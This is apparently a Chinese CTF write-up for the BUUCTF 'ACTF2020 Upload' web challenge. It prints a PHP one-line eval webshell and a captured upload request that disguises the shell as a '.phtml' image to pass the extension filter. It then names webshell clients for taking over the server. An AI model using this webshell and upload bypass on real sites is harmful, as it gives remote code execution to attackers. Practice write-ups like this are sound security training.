BUUCTF WEB [ACTF2020 新生赛]Upload

原创

Y1Daa 于 2022-04-16 20:31:25 发布 9 收藏

分类专栏： BUUCTF 文章标签： web安全

BUUCTF WEB [ACTF2020 新生赛]Upload

生成一句话木马`shell.png`，内容为

```
<?php @eval($_POST['shell']);?>
```

上传后抓包，将文件名改为`shell.phtml`

```
POST / HTTP/1.1
Host: d75f0dc8-3e8d-4e83-8af8-8972c71f8057.node4.buuoj.cn:81
Content-Length: 315
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://d75f0dc8-3e8d-4e83-8af8-8972c71f8057.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRzUJMAr5M6NS4mt7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.484
4.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3;q=0.9
Referer: http://d75f0dc8-3e8d-4e83-8af8-8972c71f8057.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryRzUJMAr5M6NS4mt7
Content-Disposition: form-data; name="upload_file"; filename="1.phtml"
Content-Type: image/png

<?php @eval($_POST['cmd']);?>
------WebKitFormBoundaryRzUJMAr5M6NS4mt7
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryRzUJMAr5M6NS4mt7--
```

回显

```
Upload Success! Look here~ ./uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml
```

使用蚁剑或菜刀连接，在文件根目录下找到flag文件